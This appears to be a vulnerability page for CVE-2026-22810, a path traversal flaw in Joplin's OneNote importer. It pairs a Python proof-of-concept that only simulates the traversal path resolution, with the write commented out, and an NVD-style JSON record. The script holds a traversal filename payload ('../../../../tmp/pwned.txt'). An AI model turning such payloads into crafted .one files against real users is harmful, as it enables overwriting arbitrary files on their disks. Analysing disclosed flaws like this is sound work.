CVE-2026-22810

# PoC Concept for CVE-2026-22810 # This script demonstrates the concept of the vulnerability. # Actual exploitation requires crafting a valid binary .one file structure. import os import zipfile # Simulated malicious payload structure # In a real scenario, this would be embedded within a .one file malicious_filename = "../../../../tmp/pwned.txt" content = b"This file was written via path traversal." print(f"[+] Creating malicious file structure with filename: {malicious_filename}") # Note: Joplin parses .one files specifically. This demonstrates the path logic. # The vulnerability occurs when the OneNote renderer calls fs.write with the unsanitized filename. def simulate_vulnerable_write(base_path, filename, data): """ Simulates the vulnerable behavior in Joplin's embedded_file.rs where filename is not sanitized against path traversal. """ # Vulnerable: Direct concatenation without normalization or validation full_path = os.path.join(base_path, filename) # Normalizing the path to see where it actually points (OS handles this) real_path = os.path.realpath(full_path) print(f"[+] Attempting to write to: {real_path}") # In the actual vulnerability, the file would be written here # with open(real_path, 'wb') as f: # f.write(data) return real_path # Demonstration if __name__ == "__main__": target_dir = "/home/user/joplin_data/imports" print(f"[+] Target base directory: {target_dir}") result_path = simulate_vulnerable_write(target_dir, malicious_filename, content) print(f"[!] Vulnerability could write to: {result_path}")

{"cve": {"id": "CVE-2026-22810", "sourceIdentifier": "[email protected]", "published": "2026-05-18T21:16:39.373", "lastModified": "2026-05-19T15:03:31.370", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Versions prior to 3.5.7 contain a path traversal vulnerability in the importer which allows overwriting arbitrary files on disk. The OneNote converter does not sanitize the names of embedded files before writing them to disk. As a result, it's possible for an attacker to create a malicious .one file that includes file names containing ../../, that are then interpreted as part of the target path when extracting attachments from the .one file. This issue has been patched in version 3.5.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-24"}]}], "references": [{"url": "https://github.com/laurent22/joplin/blob/af5108d70233b1db9410346958c1587cf7c1b16d/packages/onenote-converter/renderer/src/page/embedded_file.rs#L13-L16", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/commit/791668455e1aae50501ff57ea4783b3fba9d377c", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/pull/13736", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/releases/tag/v3.5.7", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-gcmj-c9gg-9vh6", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-gcmj-c9gg-9vh6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}